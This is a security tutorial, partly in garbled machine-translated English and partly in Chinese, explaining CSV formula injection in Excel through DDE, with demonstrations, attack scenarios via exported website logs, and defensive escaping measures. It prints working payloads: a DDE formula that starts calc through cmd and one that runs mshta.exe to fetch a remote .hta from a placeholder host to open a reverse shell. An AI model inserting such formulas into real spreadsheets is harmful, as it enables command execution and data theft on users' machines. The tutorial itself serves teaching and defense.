"For network security, everything external input are not credible" . But the CSV file injection vulnerabilities indeed often been overlooked, reason may be because our minds first impression is the CSV file as a plain text file, failed to cause alarm.
First, the vulnerability definition
By constructing a malicious attacker in the CSV file command or function, so that normal users malicious commands or functions to be executed after use Excel to open the CSV file, resulting in aggressive behavior.
Second, the causes of vulnerability results
1, CSV file several special symbol "+, -, @, ="
Try entering "= 1 + 1" in the CSV cell, after the transport, the value found into a cell 2, as he said operation number is Minga executed.
In addition to the plus sign, "-", "@", "=" it will be interpreted as a formula.
2、DDE（Dynamic Data Exchange）
DDE is an inter-process communication protocol under Windows, is a dynamic data exchange mechanism, using DDE communication requires two Windows applications, which as a server process information, and the other as a client to obtain information from the server. DDE support Microsoft Excel, LibreOffice and Apache OpenOffice. Excel, Word, Rtf, Outlook can use this mechanism to handle updates based on the results of an external application. So if we make contain DDE formula CSV file, so when you open the file, Excel will attempt to execute external applications .
Third, the vulnerability demo
1, OS command execution
By building DDE formula in the CSV file, you can call CMD achieve the purpose of the implementation of operating system commands.
As shown below, input 1 + cmd in the cell |! '/ C calc' A0, after the transport box will pop up a Excel, Excel reminder need to start another program (cmd), click Yes, Windows Calculator will pop window.
利用Metasploit可以生成payload，可以使用下面的注入执行payload，从而达到反弹shell的目的。
=1+cmd|'/c mshta.exe http://XXXXX:8080/Micropoor.hta '!A0
因此，利用这种漏洞危害，我们可以在用户的操作系统上执行添加用户、开启任意程序、操作注册表、反弹shell等命令。
2、跳转至钓鱼网站
当用户点击下面链接时，会使用IE浏览器打开攻击者提供的钓鱼网站，起到钓鱼的目的。
3、信息泄露
通过在CSV文件中注入超链接函数，当用户打开文件并点击链接时，可以把指定的单元格内容提交到指定网址（如下提交A2/A3单元格的内容）。
四、漏洞发生的场景
当网站提供CSV文件导出功能时，如果用户可以控制CSV文件的内容，就可能发送此类攻击。
比如攻击者可以在登录输入框、以及其他的查询、写入功能中注入恶意命令，当管理员使用CSV格式导出网站日志时，就可能发生此类攻击。
五、漏洞防御
1、确保单元格不以特殊字符（“+、-、@、=”）开头；
2、对单元格的内容进行特殊字符（“+、-、@、=”）过滤；
3、先对原始输入内容进行转义（双引号前多加一个双引号），然后在添加tab键和双引号防止注入；
4、禁止导出CSV、Excel格式；
5、导出为Excel格式前，利用代码把单元格的格式设置为文本（对CSV不生效）。
防御措施面临的困难：
1、对单元格内容进行处理势必会改变原始内容，对于需要数据导出后在导入其他系统进行执行的场景，对业务会有影响；
2、对于数据量大的场景，如果在导出进行过滤、转义等操作，会影响导出效率。